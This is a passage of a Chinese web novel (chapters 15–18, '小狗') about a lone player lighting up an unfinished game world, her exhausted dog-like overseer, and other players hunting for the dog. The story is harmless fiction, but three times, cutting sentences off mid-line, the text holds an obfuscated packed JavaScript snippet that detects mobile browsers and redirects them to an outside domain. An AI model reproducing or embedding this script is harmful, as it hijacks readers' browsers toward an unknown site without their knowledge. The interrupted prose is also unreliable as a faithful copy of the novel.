这人,还有劲嚷嚷,动静那叫一个中气十足活力四射——究竟有什么可抱怨的,游走者们的精神成天保持在30%左右的危险线工作也没见谁抱怨……还扛你回去?谁管你啊! 然后下一秒它知道了祁晚为什么怨气这么大。 这人四仰八叉地躺在地上,开始仰天流泪。 “被提溜出来打黑工,还要被压榨……游戏也完不成,看不到头啊。”祁晚开始哽咽,“也没有其他人……我怎么就混到这个地步,瘫了身边都只有一条狗……” “为什么只有我自己啊……” 原来不是累,单纯是怕孤单。 难怪这两天不管去哪都要拉上它。 精神虚弱的后果通常会在精神力恢复的时候表现出来,在每个人身上的表现形式不同:在管理者薇身上是长时间失去行动能力,虚弱,只能躺着;在它身上则是短时间内失去思考能力和行动能力;而祁晚……她没什么躯体化症状,她会情绪崩溃,然后像这样躺在地上哭。 但是祁晚的情绪居然很有感染力,看着她哭,小狗自己也忍不住悲从中来。 ——把它一条狗扔在半成品世界做任务,记数据,晚上连个整觉都睡不了,精神力长时间卡在30%这个痛苦的点。主神见不到,引导者也见不到。谁都见不到不说……实验体还是个傻子,学习能力差的离谱,它不知道什么时候才能完成任务再见主人……遥遥无期…… 连主人都见不到,狗生到底有什么意思! 悲从心起,它仰天长啸,“嗷哇呜呜呜呜呜呜———” 祁晚哭到一半被打断,再者她精神力恢复很快,现在也不想哭了,她看向这条仰天长啸的狗。 “我哭就算了,你怎么也哭起来了?”她干巴巴地道:“你快闭嘴,好吵……哈士奇都叫不出来你这动静。” 它被主人抛下,还不许它哭!实验体不仅傻,还没有良心! 它顿时吼得更起劲了。 “我现在就去继续推空气墙好吗,别嚷了!”祁晚从地上弹起来,塞住耳朵拔腿就走,“别吵了,我耳朵好疼——” “嗷呜————” 15. 小狗(5) 即使只学了E级教材是3%,也不能说一点用没有。这一天,因为被强制抽取精神力,祁晚点亮了足足八百多个游戏点。 为了不让小狗再继续在她耳边哭嚎,她回去休息的时间变得更晚,直到深夜十二点,她才起步回程。 因为比前两天更加累,还更晚,她睡得更死了。 见她睡着,小狗去数数并写报告。 这次因为进来了13个新玩家,且它白天一直陪着祁晚没空去看,现在它还查看需要回溯所有记录观察新玩家状态。 一直回溯到快要天亮,它才终于确认完所有状况,写完报告。 第三夜报告。 游走者上报一号实验世界实验进程:已点亮游戏点数量(1907/5000),已投入意识生活状态无异常,新进场玩家无异常。游戏点收集功能运转良好,第三批点亮区运转良好,可随时投入意识。实验体精神力损耗度降低(44%-32%)。精神力使用教材E已教授,学习进程缓慢,目前3%,建议延长学习时间。请接收——代号:风。 绿色圆球里缓慢伸出一根枝条,“3%,你是不是记错数字了?确定不是30%吗?做任务不能这么马马虎虎的啊,她是很重要的实验体……” 小狗摇头。 它可没有。 树枝:“……那确实慢。我还是第一次在E级教材上见到这么低的百分比……” 小狗叹气:谁说不是呢。 随后,世界树离开,小狗也回去休息了。 …… 第四天。 除了秋原和柳州与,所有人都完成了自己的任务。 周姨在众人劝说下终于同意打药,并给菜园围上了围栏免得鸡吃到药;小镇上但凡露过脸的流浪猫通通拆蛋;在手指上涂上苦甲水后,赵大爷的孙子也终于不再乱吃东西了…… 任务完成时,一群人都被自己的绿色圆球引到一处小旅馆住下并给予生活费。天亮,所有人同时被叫醒。于是他们聚集到了一楼的早餐店,拉了两张桌子,围坐成一圈。 头一次接待这么一大帮人,老板多看了他们好几眼。 “所以说那条狗到底在哪。”有人皱着眉头,使劲掐自己眉心,“说到底就是个烟灰缸,摔就摔了……给他买个新的怎么就不行?” “还说什么有感情……一个烟灰缸能有啥感情?我都是拿易拉罐弹烟灰,怎么我还得跟易拉罐有感情?”一白衣男吐槽道。 柳州与眼神已经死了,“我把我能找到的所有有狗的人家都问了一遍,一直找到天黑,十一点才回来睡觉。根本没有一条长得像狼的狗。” 秋原也有点愁眉苦脸的。 “难怪任务都这么简单,原来困难在这。” 昨天提出分头行动的女人没怎么睡好,如今没精打采的睁不开眼,结果打开系统一下子就懵了。 “这……” “怎么了?”立刻有人跟着她打开系统。 任务清单里出现了新的任务。 “多了好多……是昨天的一倍啊。” “还有地图也是。”有人瞄了一眼任务清单就打开地图,“你们看新开的地图……苍天,直接扩大了一倍,难怪任务多了那么多。” “可是我们昨天做的一直都是支线任务吧?”昨天提到RPG的小哥道:“开新地图难道不是主线任务?我们又没在做主线,到底是谁在开新图?找到那个开图的人才重要吧,不然咱们的任务不是没完没了了吗?” “……” “我觉得这个不能按常规游戏思路来。”雷铭觉得RPG小哥有点游戏玩多了,道:“咱们都死了,我还记得我变活死人来着。况且咱还以身入局,真人游戏,你别按传统思路来。” “那你解释一下这个情况。”RPG小哥唏哩呼噜地灌完了豆浆,把碗一放,“没人开,新地图难道是自己出现的?咱们做完任务的时候,可没有什么支线做完解锁新地图的提示吧。” 确实没有,没法解释。 但游戏总是要继续的。 众人沉默片刻,没精打采的分头姐再次站起来,努力压下自己打哈欠的欲望,“那咱们还是把任务分一分。小秋跟小柳你俩还是去找狗,其他人这么分……” 不多时,所有人领命离开。 柳州与跟秋原也走进新地图的地界,继续找狗。 “真的好难。”柳州与睡了一晚,起床后虽然依旧惆怅,但吃饱喝足,神清气爽,“不过新开了那么大的地图呢。老板说是大型犬,长得像狼,咱们一定能找到的。” 秋原垂着头,“嗯。” “你怎么这么没精神?”柳州与这个人的特色就是向来精神头十足——除了在第一次游戏里——所以她对秋原的状态很不理解,“你好没精神,没睡好吗?” 秋原摇头:“不是……我不怎么需要睡。” 柳州与:“那你没吃饱?我再去买点吃的——” 秋原拉住她,再摇头。 “那是怎么了?”柳州与担心,“你要不回去休息一会?我自己找就够了。” 秋原还是摇头,“我就是感觉自己可能出错了……那也先把这个游戏完成吧。没事,我不累。” 柳州与看着她,“我怎么老听不懂你说话……” 什么出错?什么叫先完成这个游戏?不做任务你还能干什么去——中二病晚期这么可怕吗? 随后她很困惑地移开了目光,“那就走吧,管他除了什么错呢,赢了以后许愿不就好了。” 秋原微不可察地叹了口气,道:“也是,走吧。” 早知道这机会这么重要,上一场她就不随便放弃。结果现在好了,找错了地方,想走都走不了。 柳州与见前面有人遛狗,立刻追过去询问有没有见过一条狼狗。秋原也加快步子跟上,听着柳州与和那遛狗人的对话,眼睫依然微微耷拉着,很不理解。 她怎么会找错地方呢……不应该呀…… …… 祁晚难得晚睡早起,天不亮就出发一路向西。 她起床的时候,小狗照例在门口那个地方蹲着。 “我以为我起得够早了。”她一如既往地走过去揉狗头,“你是不是没睡?每天晚上都不睡吗?” 小狗给了她一个疲惫而悲伤的眼神。 见不到主人;又不能休息;因为实验体是个学习进度慢如老龟的傻子,任务也看不到头——它确实疲惫且悲伤。 祁晚没有读心术,只能按自己的理解解读这份悲伤,“累就休息……别搁这演忠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064755|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犬八公,没人看,又等不到。” 小狗:“……” 有没有人说过你嘴很欠? 祁晚朝西走去,“走呗——小风。” 天一亮,满大街的人都要跟她打招呼,她又不认识,挺尴尬的。再加上小狗昨天哭得比她还惨,所以她决定努把力。 干脆早点出门,加速解锁,也好帮小狗找主人。 “这样太慢了,”她打着呵欠走着,身后跟着同样打呵欠的狗,“这镇上有露营用品店没?我干脆搞点帐篷啥的住在西边吧,免得每天还要回去。好麻烦,这路越来越远了。” 小狗蔫头耷脑的,听见她说话,只抬了抬耳朵。 祁晚昨天一天的学习还是有些成效的,她这次控制着自己点亮了50个游戏点,只用了3秒。点完后眼前略微发晕,但几乎是立刻就恢复了,没什么影响。 “时间够短就不会被强制抽取了。”她多少有点晕,一手扶路灯杆子一手扶额头,咧嘴笑开,“我真是天才。” 你是个鬼的天才。 小狗在她身后翻了个白眼。 随后祁晚就开始细细巡查新点亮的街区,找露营用品店。 虽然等到明天,新点亮的区域就会有人,但今天它就是没人——反正没人,她作为开荒者,怎么就不能拿点东西? 这很合理! 更何况她拿东西也是为了更快地打工……不,给小狗找主人。如此尽心,如此努力,她都要被自己感动哭了! 可是……这跟拉磨的驴给自己上嚼子有什么区别? 想到这里,祁晚的心情变得有些悲凉。 她生前奉行领一份钱干一份活的绝不加班主义,不成想死后终究还是没逃过当牛马的命运。 不仅没逃过牛马,还被提溜出来一个人干活,真是悲凉。 然后她逛着逛着,发现这次自己虽然控制住了点亮的数量,却没能控制方向,游戏点将她注入的精神力自动分配,将周边的街区都点亮了。 ……明明她是只想点主路的,早点出镇,也好早点完成游戏来着。 “什么破游戏,为什么不按玩家想法来。”她吐槽,“还强制开全图?不开全图不让通关?好离谱。” 小狗在她身后跟着,翻了个白眼。 您就一点不反思有可能是您精神控制有问题?要不然怎么会触发自动分配? 但凡您能把E级教材学完都说不出来这种话! “果然还是要接着学吗……”视野尽头出现了一家露营用品店,里边卖的东西很杂,还有渔具之类的。祁晚朝着那个方向走过去,瞥了一眼自己手腕上3%的数据条,“可是这个好难……而且我不知道要怎么再开始学啊?要不然不学了吧,大不了全点了……” 小狗在她身后打了个哈欠。 有再次学习的心思当然是好的,但态度是否也太不积极了?还不学了? 这也就是遇上的是它——这话要是在主神面前说出来,一定会被先削成块块再扔去开荒……不对,这人已经在开荒了…… 它决定等祁晚再去点亮游戏点的时候,由它来按住祁晚的手,无论如何也要够五秒,好继续触发教材的学习。 难个鬼,给我学! 我还要完成任务见主人呢! 16. 小狗(6) 然而这次没用它动手,祁晚自己按够了五秒。 可能是她的努力起了效果,学的略微快了一点,抽取速度比上次要慢一些,足足持续了3个小时。终于抽到80%的上限时,已是日上三竿了。 祁晚终于瘫倒,仰天流宽面条泪,小狗看了一眼她的数据条。 10% 上次,2个小时,3%;这次,3个小时,7%。 ……多么令狗无语的数字。 还真是只快了一点。 祁晚含泪抬手,看进度条,“10%……好少。” “好难,我头好痛。”因为精神虚弱的后遗症,她再一次进入情绪崩溃状态,“什么时候是个头啊呜呜呜呜——” 小狗默默在她身边卧下,等她哭完。 祁晚那点情绪是来得快去的更快,约摸半个小时过去,她又爬起来了。 这一夜,她直接在空气墙边找了个僻静无人的地方支起帐篷,准备在这睡,力求一个醒了就开干。见小狗不想进帐篷跟她一起睡,她去一旁的针织店里拿了个大号软垫出来。 “那你睡这。”她把那垫子放到帐篷边,自己钻进帐篷,“我要睡了……别打扰我嗷……” 不多时,帐篷里就传来均匀的呼吸声,小狗喷了一下鼻子,转身离开。 忙着呢,谁有空打扰你。 …… 夜里,完成回溯和检查,报告内容并无太大变动。 第四夜报告。 游走者上报一号实验世界实验进程:已点亮游戏点数量(2906/5000),已投入意识生活状态无异常,新进场玩家无异常。游戏点收集功能运转良好,第四批点亮区运转良好,可随时投入意识。实验体精神力损耗度降低(32%-27%)。精神力使用教材E学习进程10%。请接收——代号:风。 它完成这些用的时间还是很多,此时已是凌晨五点。 祁晚这些日子决定早些起床,大概六点就会醒。 时间真是紧迫。 “要来不及了。”游戏点伸出枝条,一片青翠欲滴的叶子落在狗头上,“再快点,新玩家那边还没去。” 小狗打了个哈欠,“呼呜……” ——为什么一定要去?那边的情况你不是一直在盯着?说到底,你监视完的我还要再看一遍就很离谱。 世界树:“我哪有时间看那么多?这个世界不归我管,就是你全权负责——而且叫你去是因为那边出了问题,有个任务完不成。” 小狗一路朝镇东走去:什么问题? 世界树:“谁叫你摔人家烟灰缸?” 小狗:“……” 世界树:“那人纯刺头,见有人帮忙就开始为难人,现在新玩家就卡在他那。这批人要是因为你完不成游戏,你等着看主神怎么收拾你。” 小狗:“……” 委屈啊!真的委屈!难道不是那人先往它身上丢的烟头?它毛都烧焦了一块!现在怎么还成它的不是了? 世界树:“没办法啊,他现在是新玩家任务的一部分,必须完成。你要实在气不过,等游戏完成再……反正以后这个世界都归你管。” 小狗点点头。 这么说它就舒服多了。 …… 凌晨五点多,柳州与从床上爬起来,伸了个懒腰。 这是她来到这个世界的第三天了。 她向来起很早,来到这个世界后更是越来越不需要睡眠。她现在有点怀疑,人死去后失去身体,不需要作息规律来保持身体健康——是不是根本不需要规律睡觉? 会累,所以还是需要休息,但不用规律休息? 她感觉应该是这样。 她起床,穿衣服,洗漱,动作很轻,注意没惊醒同房间的秋原,来到旅馆一楼大厅。 隔壁的早餐店已经在冒出香气了。 刚起床不太能吃得下东西,何况大家都还没醒,饭还是要一起吃才香,于是柳州与开始晨练。 她向来是要晨练的,这几天她已经摸索出了一条很不错的线路,遛狗人爱走的。很适合跑步,能顺路摸摸狗,还能试试看能不能碰上那条长得像狼的大狗。 刚走出旅店大门,还没迈步,一条没栓绳的狼狗出现在她视野里,头顶一片树叶。 ……好奇葩的造型。 没等她再吐槽,这条狗上下打量了下旅店,随后越过她,走进旅店里。 柳州与低头,视线跟着它走。 这条长得像狼的狗看也没看她,径直朝着楼梯而去。旅店前台还躺着,这狗也没发出声音,前台没看见它。 “……这是狼吧?好大。”柳州与想起小卖部老板的描述,“对啊,就应该是这样的!是捷克狼犬吧,这小地方居然真有这么少见的犬种。” 不过,很棒,踏破铁鞋无觅处,她得来全不费工夫。 于是她快步上前,在这条狼狗走上楼梯前薅住了它的后脖颈。 小狗头顶树叶,没挣扎,很懵逼地回头看她。 ——这是干什么? 世界树改用意识传音:叫你回溯看记录,你到底看什么了?这是玩家,负责找你的玩家。 小狗:“……” ——我哪认得出来,人脸都长一个样,我又没闻过她的气味。 世界树:反正你跟着她走就行了。记得早点回实验体那,她更需要你盯。 随后树叶从小狗头顶掉下——世界树走了。 柳州与也不算乱抓狗,她上下打量了一番,在狗屁股处发现了一处焦糊。 “还真是被扔了烟头了,烧糊好大一块。”她从包里掏出狗绳给小狗挂上,“缺德老登……要不是任务,谁理他啊。” 然后她拍了拍狗头,“委屈你了,先跟我走吧。” 于是众人被自己的游戏点唤醒,来到楼下时,看见的就是坐在沙发上,牵着一条狼的柳州与。 雷铭头一个下楼,吓了一跳,“我去!哪来的狼?” 柳州与站起来,紧了紧狗绳,“这不是狼,是狗。摔了小卖部老板烟灰缸的就是它——我找到它了。” “那可真是太好了。”他一听是狗,松了口气,“不用在那老登那卡着了——你怎么抓到它的?” 抓谈不上,这狗挺老实,一拽就停,还听话。柳州与跟雷铭解释着,秋原默默绕过他们,来到小狗身边。 小狗也抬头看她。 它动了动鼻子,有点奇怪。 ——这人,怎么没味道?它面前是站了一团空气吗? 秋原微微蹙起眉,“好熟悉的感觉……我见过你吧?”就算没见过这条狗本狗,应该也见过跟它类似的人或物。 小狗依旧动着鼻子,但不再看她。 ——见过个鬼,这还是它第一次进入小世界。鬼知道这人把它跟哪的狼弄混了。 来到早餐铺,众人打开地图和任务列表。 “又多了好多啊……” “地图又大了三分之一……” “我就说得找开图的人。”RPG小哥灌完豆浆,嗤了一声,“要不然没完没了的。” 这次没人反驳他了。 “但是怎么找呢?”没人反驳,但有人问,“况且还要做任务。也不知道你说的开图人是谁、什么样……怎么找?根本没思路啊。” 确实是一点线索没有,RPG小哥默默嚼油条,不说话了。 人们看向负责分配的分头姐。 她沉思片刻,道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064756|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“其实不能确定一定有这个人存在——万一是随着时间推移扩大地图呢?” RPG小哥:“肯定有,主线任务不可能没人做。” 雷铭:“你真有点游戏玩多了……那你别光说,倒是给个思路?” RPG小哥又没话了。 “那这样。”分头姐最终拍桌定论,“正好今天狗找到了,小秋小柳你们两个也不用做常规任务了。小柳能力比较强,直接去新地图找线索,我看新地图都开在西边,那边应该有线索,小秋辅助她——其他人这么分……” 刺头小卖部老板的任务最终以“用烟头又烫了一下狗屁股”为结尾完成。在小狗的痛呼声和任务完成的播报声中,它的屁股又多了一块焦糊的毛,柳州与紧抿着唇,忍住了揍老板一拳的冲动。 她现在真有点怀念1号祁晚了,她要是有祁晚的体型和武力,一定会趁夜深人静之时给这老板套麻袋,然后暴揍他一顿。 完成任务,时间已近中午,她们一路向西。 从任务完成的那一刻,小狗就想走。奈何秋原始终不肯松开狗绳,连个偷偷跑掉的机会都不给它,它只好跟她们一起走。 也不知道祁晚有没有好好干活。 被一路牵着,秋原还一直死盯着它,它无法抑制地直叹气。 两人一狗顺着喧闹的主路走到尽头,被一堵空气墙拦住了。 看不见任何阻碍,但她们就是过不去。 “这里……”柳州与将手放在半空中,感觉自己好像摸到一堵墙,但什么都看不见,“这里怎么过不去?这就叫空气墙?” “而且……那边……”柳州与看着无法走过去的街道,莫名起了鸡皮疙瘩,“怎么一个人都没有?” 空气墙对面:街边的小吃店冒着热气;理发店门口晾着湿毛巾;烧烤摊前散落着竹签和破碎的啤酒瓶,好像刚有人打过一架;停在药店门口的电动车没有熄火,钥匙都没拔掉。 就好像……造成这些生活痕迹的人还没离开。 而她们所在的这一端,人们毫无异常,有人看见了站在那里不动的她们,奇怪道:“小姑娘站那干嘛呢?该吃午饭了!来我这呗!” 柳州与回头看向正招呼她们的女老板,指着空气墙,语无伦次,“那边……那边……” 老板很困惑,“那边怎么了?” 然后她顺着柳州与的手指看向那边,走过去,笑了起来,不知跟谁搭起了话,“快点收拾吧,下午又要来客人了!” “回家啦——下次电动车记得拔钥匙,让别人给你骑走你就美了。你又吃的什么药?” “哎呀……我看这俩小姑娘站半天了嘛,也不知道吃饭……大中午的吃什么烧烤?吃炒菜!” “来我这呗。”说完话,她又回头看向秋原和柳州与,笑得爽朗,“便宜又好吃,马上就炒好!别听那边那鳖孙的,中午吃烧烤不合适。” 因为之前一直在忙任务,这是她们第一次走到地图边界。 柳州与看着老板娘,眼里漫起恐惧,忍不住后退了两步。 怎么回事?她在跟谁说话? “秋原……”她的声音颤抖起来,“我们走吧,把这个情况告诉大家……” 然而秋原牵着狗站在她身侧,轻轻抵住了她的后背,看着空气墙另一头空无一人的街道,眼睛微微亮起来。 没回应柳州与要走的请求,她对着老板娘道:“那我们就在这吃,看看都有什么菜。” 柳州与瞪大了眼,“你……”要干什么? 秋原看着她,做了个噤声的手势,浅色的眸子看不出情绪,“先别走。” “我找到了。” 她看向空气墙边小巷的尽头,那里堆着一大堆露营用品。 17. 小狗(7) 时间拨回一点。 凌晨六点,祁晚从帐篷里醒来。 她前一天开的新地图到第二天就会有人,考虑到镇上遛大狗的人起得一个比一个早,她将帐篷搭在了很偏僻隐蔽的地方。 起来时没人发现她,很好。 但收拾完帐篷,她感觉自己身边少了点什么。 她看向那只空空荡荡的大软垫。 狗呢? 祁晚:“……” 怎么,狗都不干了?还是这家伙又回院子那里等了? 这狗怎么这么死犟?就好像它真能等到似的…… 休息充足,她精神状态良好,没人陪也行。于是她将收拾好的露营用品扔在小巷的垃圾堆旁,刻意搞得很乱,伪装成垃圾。准备等晚上要睡的时候再来取,自己走向下一个游戏点。 “不知道我到底点了多少了。”她将手放在游戏点上,没掐时间,感受着学习进程的缓慢推进和抽取精神力的微微头疼,“也没人给我数……哦,数了也没用,我不知道一共有多少。” 忍着头疼,她回首看向自己来的方向。 时间还很早,街道上的人稀稀拉拉的,人们互相打着招呼,也有人朝着她的方向说话,但不是对她。 因为她已经站在新点亮的区域里,没人看得见她。 总要应付人们的搭话很累,总有不认识的人打招呼的话,也很尴尬。 可是…… 街道上的人越来越多,人声逐渐嘈杂起来。 她离有人的区域不过几米,这些喧闹却与她无关。 祁晚朝那个方向伸出手。 因为心思已经不在学习上,抽取速度变快,她头疼得愈发厉害。 “我究竟是来干什么的?”她突然迷茫起来,“啊……我想回去,然后像以前一样正常的活着……可是,我要是不复活,就这样在这里生活……” 如果她能在这里生活,死了跟活着好像也没区别。 那她为什么不能在这里生活? 说到底,这个世界究竟是怎么形成的?这里明显比她去的第一个世界更真实,更完美。目前虽然是她在点亮,但在她来之前,这里就已经有了一个无色像素风的框架供她发挥。 这就好像有人画好了一幅画的轮廓,她来只是负责填色。 这个框架是谁完成的? 但……不管框架是谁完成的,单纯的框架都不能生活——是因为她在点亮,她来填色了,她在努力,这里才可以有人生活。 她收回看向人们的目光。 那边的岁月静好不属于她,那里的人间烟火与她无关。 随后她又看向自己新点亮的,空无一人的区域。 回到“为什么不能生活在这里”的第一个问题。 因为是……她在负重前行。 这些空旷和寂寥,不间断的头痛和疲惫,这些才属于她。 但因为这些,那边的岁月静好也与她有关了。 “究竟是谁设置的这些?”头愈发疼起来,她眼前开始发黑,但一只手仍黏在游戏点上,她只得被迫抬着着一只手坐下,喃喃:“是谁……选的我?” “有点可笑了。”她疼得想哭,又觉得可笑,于是表情变得很扭曲,“凭什么是我?叫我干这些,考虑过我本人的意愿吗?” “到底谁要在这里牺牲自己啊?”她已经完全不想学了,精神力抽取的速度变得非常可怕。因此这次没过多久,她就能从游戏点上把手拿下来,但头也更疼了,她疼得整个人瘫在地上,看了一眼数据环。 学习进度少得可怜,从10%变成12%。而她的蓝条飞速跌到了20%,正在恢复。 “我要回家,我不要在这里。到底要攒多少次才能复活?”她撂下手,不再看数据,两眼含泪,“呜——我不要在这里打黑工——” 精神虚弱的后遗症来得非常快,她大声嚎叫起来。 “狗呢——” “怎么连狗都不来陪我——” “我就在这!我就在这啊!!!” “一个人都看不见我吗???” “呜啊啊啊啊啊啊啊啊啊——我要回家啊啊啊!!!” …… 果然路边的苍蝇馆子就是很好吃,秋原吃得很带劲,小狗的狗绳被她系在凳子腿上。 柳州与吃不下去,度日如年地拿筷子夹米粒玩。 看狗可怜,老板娘拿了点剩菜拌饭来给狗吃,小狗看了一眼,没吃,望眼欲穿地望着门外,望着不远处的空气墙。 于是整家店里只有秋原一个人在吃。 柳州与时不时看她,有话想说,却被老板娘盯着,没机会说,憋得难受。 过了一会,来了新的客人,老板娘跑回后厨炒菜。 柳州与顿时松了口气,拉住秋原的手,压低声音,“你怎么回事啊?” 秋原塞了满嘴的食物,“喂唔哇……” “你咽下去再说话。”柳州与无奈,道:“你边嚼边想怎么说。反正你给我说明白,你找到什么了?” 空气墙那边明明没人,老板娘到底在跟谁说话?她光是想到就又在起鸡皮疙瘩,恨不得拔腿就跑,结果秋原还不走了。 到底要干什么啊这小中二病!? 秋原一梗脖子把一口东西全咽下去,“唔……” 柳州与:“唔什么?快说。你找到什么了?” “我找到……嗯……”秋原皱着眉头开始啃筷子——总不能直说她在找祁晚吧?随后她终于想起早餐时大家的对话,灵机一动,“我找到开新地图的人了。” 柳州与:“咦?” “嗯,找到了。”秋原很坚定地点头。 “不是,你……”柳州与疯狂眨眼,有一点语无伦次,“那……他是在空气墙那边?你怎么发现的?” 秋原又塞了一嘴东西,无法回答问题,只点了点头。 柳州与叹气,“都这个时候了,少吃几口你是会怎样?算了……那咱们要怎么去找那个人?他在空气墙那边,咱们过不去吧。” 秋原又梗着脖子猛咽,差点噎死自己,狂拍胸口,“我自己去吧,你回去告诉大家。” 柳州与诧异,“你要怎么过空气墙?” 秋原眯起眼笑,“我有我的办法嘛——我第一场都没被抓呢。” 柳州与:“好吧。” 柳州与终究还是没吃这顿午饭,她与秋原在小饭馆门口分道扬镳,“你一个人,没问题吗?还是咱们一起吧?” 秋原紧了紧手里的狗绳,“有它呢。” 柳州与实在不理解这狗在此刻有什么作用,只觉得它看起来莫名地生无可恋,还想再问,但秋原打断了她。 秋原道:“你快点回去告诉大家这件事,也好早点来帮我。” “……行吧。”柳州与最后看了一眼秋原和依然一脸生无可恋的狗,“那我先回去——我会快一点的。” 秋原点头,“嗯嗯。” 随后柳州与离开,秋原拽着狗来到小巷子里。 垃圾堆旁边扔着一堆露营用品,因为收拾的乱七八糟,看起来就像垃圾,要是其他人来看见了,多半也只会以为这里多了一堆垃圾。 “我想起来了。”秋原蹲下,拉紧狗绳,强迫小狗面对自己,“我在狼羊游戏里见过跟你类似的人,比如秋方……所以我才一见到你就感觉熟悉,你跟秋方好像——你们是一样的吧?” 小狗瞪大了眼睛,很难想象一条狗的眼睛居然可以瞪那么大,它用力偏开头,打了个哈欠。 但现在,打哈欠也没办法舒缓它的压力了。 秋方是“游走者: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064757|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋”的本名,她在第一场化名冬游。 相应的,它也是有本名的,它作为游走者的代号叫风,本名其实叫逐风。 可是……一个玩家为什么会知道游走者的本名?玩家能有什么途径知道?且不说没人能突破主神的封锁,就算真的有人能突破并获得了这个情报,他们平时也都是以代号相称,能知道代号就是极限了——这人凭什么知道秋的本名? 更何况,根本不可能有人能突破主神的封锁。 那可是主神! “唔,我查一下……狗打哈欠是尴尬和舒缓压力的表现。”秋原更用力地拽狗头,“你现在压力很大,是因为我说对了吧。” 逐风头被硬掰过来,但不敢看她。它一双眼珠子使劲朝后看,以至于看起来像是在翻白眼。 “你果然认识秋方,我说对了。”秋原看见它这个反应,更加确定,“那祁晚肯定也在空气墙那边——新地图的开辟者就是她,对不对?我不可能找错地方的。” 逐风翻白眼翻得眼睛酸,只得认命地看着秋原。 它认不出来颜色,记不得人脸,还头一次见面就发现这人没有气味——它要怎么才能标记到这个人? ……算了,标不标记的都不重要,现在最重要的是要把这个情况报给主神。其次,它不能泄露更多情报了——它必须离开。 “带我过空气墙。”看见逐风认命的眼神,秋原略松开了一点狗绳,“你肯定可以。” 逐风终于能背过她喘气了,喘匀了气,它回头看了她一眼。 秋原没看懂这个眼神是什么意思。 下一秒,她的手腕猛地一痛,随后一股强力的推背感袭来,她飞了出去。 秋原:“啊————” 听着身后远去的惨叫,逐风嘴角带血,边跑边叹气。 它早就想走了,就是因为不想伤害玩家,才一直没这么干……现在也真是逼不得已了。 算了……以后再想办法道歉吧。 秋原整个人被拍在地上,一口气差点背过去。她费了很大劲才勉强坐起来,这才感觉自己全身都疼。 她是将狗绳紧紧缠在手腕上并握紧的,狗咬了她一口她才被迫松手,缠在手腕上的部分则是活生生拽掉的。 大狗爆冲的威力属实可怕……她摔得很惨。手臂外侧全擦伤;膝盖的血肉已经跟布料黏黏糊糊地粘在一起,站不起来;手腕更是被咬的血淋淋的,伤口不浅;手也被硬拽掉的狗绳擦破了,混着沙土,火辣辣的疼。 摔破的伤口流出血液,秋原疼得皱着脸,看着一部分血化作光点飘向空气墙。 果然过不去。 她就多余试这一下。 别人都还在忙,即使知道了情况也无法马上赶来,于是柳州与自己先回来了。她赶到巷子里时,看见的就是摔得一身惨烈的,倒在地上站不起来的秋原。 “我的天哪!”柳州与声比人先到“我才走几分钟?!” 她立刻冲过去扶起秋原,“你说你有办法,就是摔成这样的办法?没有这么办事的啊!” 秋原疼得呲牙,“人类的身体真不方便……” 柳州与火急火燎的没听清她的话,“你说什么?” 秋原疼得直打哆嗦,“好疼,摔死我了……” 上下打量一番,柳州与又心疼又想冷笑,“疼吧?怎么不疼死你——先回去吧,来,我扛着你……给你清理包扎一下。你给我老实交代你刚才都干什么了,还有,那个狗去哪了?以后不许随便跟我分头行动。” 秋原被她扛着,走得一瘸一拐,“根据我的了解,你现在这个行为,很像护崽的母鸡……” 柳州与瞥她一眼,戳了一下她手臂的擦伤。 秋原:“嘶——” 柳州与:“再嘴欠来?嘴没摔是吧?” 18. 小狗(8) 祁晚自己连干带学了一上午。 学累了也哭完了,下午的活也开始了,某条死狗终于又出现了。 为了不再重蹈上午被抽到头痛的覆辙,这次她精准控制着时间,接触游戏点的时间绝不会超过三秒。 她正点亮了一小片区域继续往前走,就看见某条狗颠颠哒哒地回到了她身边。 “呦,回来了。”狗不看她,她就主动跟狗搭话,“狗爷,啊不你叫小风……那就风爷,风爷去哪玩了?还是又演忠犬八公去啦?抛下可怜的小祁一个人在这干苦工,挺潇洒啊。” 逐风不想理她的阴阳怪气,喷了下鼻子。 ——玩什么玩,被人拿烟头烫了屁股还差点被人掀了老底,最后是下了狠心伤人才能回来。它都不敢想,要是被主神知道它泄露了这么多东西,再被引导者知道它居然敢伤人……老天奶,它会被那两个人合起伙来大卸八块吧? 然后它看向祁晚。 毕竟是它给实验体申请的精神力使用教材,要是实验体在它的管理下表现良好,它还能将功补过一部分……但现在…… 它的目光移向祁晚腕上的进度条。 12% 多么惊天地泣鬼神,令狗流泪的学习进度。 它不因为实验体这个破烂学习进度挨罚都算主神仁慈。 狗生无望—— 它感觉自己这几天叹的气比这辈子都多。 